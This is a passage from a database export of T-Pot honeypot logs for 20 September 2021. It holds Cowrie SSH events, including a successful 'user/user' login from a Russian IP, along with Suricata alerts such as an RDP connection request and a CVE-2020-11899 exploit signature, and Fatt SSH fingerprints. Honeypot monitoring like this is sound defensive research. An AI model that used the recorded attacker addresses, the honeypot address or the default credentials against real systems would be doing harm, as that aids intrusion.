"b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "c3ad0caccd69", "@version": "1", "timestamp": "2021-09-20T11:31:58.734025Z", "@timestamp": "2021-09-20T11:31:58.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
30050	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:31:58.947412+03	2021-09-20 14:45:02.509142+03	{"_id": "DQb6AnwBvYTbRNuEITpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "c3ad0caccd69", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:31:58.947412Z", "@timestamp": "2021-09-20T11:31:58.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
30051	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.426186+03	2021-09-20 14:45:02.510142+03	{"_id": "Dwb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 23, "bytes_toclient": 0, "bytes_toserver": 2270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.426186Z", "@timestamp": "2021-09-20T11:32:00.426Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30052	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.428871+03	2021-09-20 14:45:02.511143+03	{"_id": "Ewb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:32:00.428871+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET POLICY Reserved Internal IP Traffic", "signature_id": 2002752}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "192.168.20.255", "flow_id": 973211423509319, "payload": "3PEwEAABAAAAAAABIEVFRUZGREVMRkVFUEZBQ05EQUZHRkJFRURHREJFQ0FBAAAgAAHADAAgAAEAAAAAAAYAAMCoFJM=", "@version": "1", "in_iface": "enp5s0", "src_port": 137, "app_proto": "failed", "dest_port": 137, "timestamp": "2021-09-20T11:32:00.428871Z", "@timestamp": "2021-09-20T11:32:00.428Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..0......... EEEFFDELFEEPFACNDAFGFBEEDGDBECAA.. ..... .............."}}	1	\N	\N	alert	\N	\N
30053	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.432088+03	2021-09-20 14:45:02.512142+03	{"_id": "Igb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 25, "bytes_toclient": 0, "bytes_toserver": 2450}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.432088Z", "@timestamp": "2021-09-20T11:32:00.432Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30054	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.439008+03	2021-09-20 14:45:02.513141+03	{"_id": "FQb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.439008Z", "@timestamp": "2021-09-20T11:32:00.439Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30055	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.438007+03	2021-09-20 14:45:02.514142+03	{"_id": "JAb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 28, "bytes_toclient": 0, "bytes_toserver": 2720}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.438007Z", "@timestamp": "2021-09-20T11:32:00.438Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30056	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.436302+03	2021-09-20 14:45:02.516142+03	{"_id": "HQb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.436302Z", "@timestamp": "2021-09-20T11:32:00.436Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30057	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.463557+03	2021-09-20 14:45:02.517142+03	{"_id": "Jgb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 34, "bytes_toclient": 0, "bytes_toserver": 3260}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.463557Z", "@timestamp": "2021-09-20T11:32:00.463Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30058	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.921422+03	2021-09-20 14:45:02.518142+03	{"_id": "Kgb6AnwBvYTbRNuEKjq-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 35, "bytes_toclient": 0, "bytes_toserver": 3390}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAAMBAAAAP8CAAAAAAAAAAAAAAAAAPsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.921422Z", "@timestamp": "2021-09-20T11:32:00.921Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
30059	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:01.412957+03	2021-09-20 14:45:02.519142+03	{"_id": "KQb6AnwBvYTbRNuEKjq-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:01.412957Z", "@timestamp": "2021-09-20T11:32:01.412Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30060	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:32:00.938781+03	2021-09-20 14:45:02.520142+03	{"_id": "Kwb6AnwBvYTbRNuEKjq-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.938781Z", "@timestamp": "2021-09-20T11:32:00.938Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30061	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:32:01.93133+03	2021-09-20 14:45:02.522142+03	{"_id": "Lgb6AnwBvYTbRNuELjqo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:01.931330Z", "@timestamp": "2021-09-20T11:32:01.931Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30062	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:02.409774+03	2021-09-20 14:45:02.523142+03	{"_id": "Lwb6AnwBvYTbRNuELjqr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:02.409774Z", "@timestamp": "2021-09-20T11:32:02.409Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30137	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:32:41.313864+03	2021-09-20 14:45:02.609143+03	{"_id": "lAb6AnwBvYTbRNuExTpm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "229a31f5b16b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:32:41.313864Z", "@timestamp": "2021-09-20T11:32:41.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30063	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:31:57.847463+03	2021-09-20 14:45:02.524142+03	{"_id": "_Qb6AnwBvYTbRNuEHzkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:57.032520+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2004838945488648, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55851, "dest_port": 3389, "timestamp": "2021-09-20T11:31:57.847463Z", "@timestamp": "2021-09-20T11:31:57.847Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30064	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:58.675224+03	2021-09-20 14:45:02.525142+03	{"_id": "AQb6AnwBvYTbRNuEIDoe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42464, "timestamp": "2021-09-20T11:31:58.675224", "@timestamp": "2021-09-20T11:31:58.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30065	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.470008+03	2021-09-20 14:45:02.526142+03	{"_id": "Ggb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:32:00.470008+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 1939886155246584, "payload": "XnQAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 57239, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T11:32:00.470008Z", "@timestamp": "2021-09-20T11:32:00.470Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "^t...........DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
30066	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.435606+03	2021-09-20 14:45:02.527142+03	{"_id": "FAb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 26, "bytes_toclient": 0, "bytes_toserver": 2540}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.435606Z", "@timestamp": "2021-09-20T11:32:00.435Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30067	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.432735+03	2021-09-20 14:45:02.528142+03	{"_id": "Iwb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.432735Z", "@timestamp": "2021-09-20T11:32:00.432Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30068	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.458148+03	2021-09-20 14:45:02.530142+03	{"_id": "Fgb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 29, "bytes_toclient": 0, "bytes_toserver": 2810}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.458148Z", "@timestamp": "2021-09-20T11:32:00.458Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30069	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.458931+03	2021-09-20 14:45:02.531142+03	{"_id": "Hwb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 31, "bytes_toclient": 0, "bytes_toserver": 2990}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.458931Z", "@timestamp": "2021-09-20T11:32:00.458Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
